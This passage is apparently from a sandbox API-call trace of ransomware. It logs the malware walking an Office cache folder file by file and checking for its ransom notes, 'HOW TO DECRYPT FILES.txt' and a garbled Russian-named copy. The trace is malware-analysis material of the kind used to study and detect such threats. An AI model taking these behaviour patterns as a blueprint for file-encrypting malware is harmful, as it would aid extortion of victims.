DECRYPT FILES.txt", lpString2="OfficeLR.cab") returned -1 [0057.813] lstrcmpiA (lpString1="", lpString2="OfficeLR.cab") returned -1 [0057.813] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned="msvcr90.dll" [0057.813] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.813] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.813] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.813] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.813] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="OfficeLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" [0057.813] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0057.814] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.814] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OfficeMUI.msi") returned -1 [0057.814] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OfficeMUI.msi") returned -1 [0057.814] lstrcmpiA (lpString1="", lpString2="OfficeMUI.msi") returned -1 [0057.814] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned="OfficeLR.cab" [0057.814] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.814] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.814] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.814] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.814] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="OfficeMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" [0057.814] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0057.814] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.814] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OfficeMUI.xml") returned -1 [0057.814] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OfficeMUI.xml") returned -1 [0057.814] lstrcmpiA (lpString1="", lpString2="OfficeMUI.xml") returned -1 [0057.814] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned="OfficeMUI.msi" [0057.814] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.814] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.814] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.815] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.815] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="OfficeMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" [0057.815] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0057.815] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.815] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OfficeMUISet.msi") returned -1 [0057.815] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OfficeMUISet.msi") returned -1 [0057.815] lstrcmpiA (lpString1="", lpString2="OfficeMUISet.msi") returned -1 [0057.815] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned="OfficeMUI.xml" [0057.815] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.815] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.815] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.815] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.815] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="OfficeMUISet.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" [0057.815] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0057.815] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.815] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OfficeMUISet.xml") returned -1 [0057.816] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OfficeMUISet.xml") returned -1 [0057.816] lstrcmpiA (lpString1="", lpString2="OfficeMUISet.xml") returned -1 [0057.816] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned="OfficeMUISet.msi" [0057.816] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.816] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.816] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.816] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.816] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="OfficeMUISet.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" [0057.816] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x780074, dwReserved1=0x74, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0057.816] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.816] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="osetupui.dll") returned -1 [0057.816] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="osetupui.dll") returned -1 [0057.816] lstrcmpiA (lpString1="", lpString2="osetupui.dll") returned -1 [0057.816] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned="OfficeMUISet.xml" [0057.816] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.816] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.816] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.816] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.817] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="osetupui.dll" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" [0057.817] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x780074, dwReserved1=0x74, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0057.817] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.817] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pss10r.chm") returned -1 [0057.817] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pss10r.chm") returned -1 [0057.817] lstrcmpiA (lpString1="", lpString2="pss10r.chm") returned -1 [0057.817] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned="osetupui.dll" [0057.817] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.817] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.817] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.817] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.817] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="pss10r.chm" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" [0057.817] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x780074, dwReserved1=0x74, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0057.817] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.817] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="setup.chm") returned -1 [0057.817] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="setup.chm") returned -1 [0057.817] lstrcmpiA (lpString1="", lpString2="setup.chm") returned -1 [0057.817] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned="pss10r.chm" [0057.818] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.818] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.818] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.818] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.818] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="setup.chm" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" [0057.818] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.818] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.818] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.818] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.818] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.818] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned="setup.chm" [0057.818] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.818] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.818] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.818] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.818] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.819] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0057.819] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.819] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ShellUI.MST") returned -1 [0057.819] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ShellUI.MST") returned -1 [0057.819] lstrcmpiA (lpString1="", lpString2="ShellUI.MST") returned -1 [0057.819] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="Setup.xml" [0057.819] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.819] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.819] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.819] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.819] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="ShellUI.MST" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" [0057.819] FindNextFileA 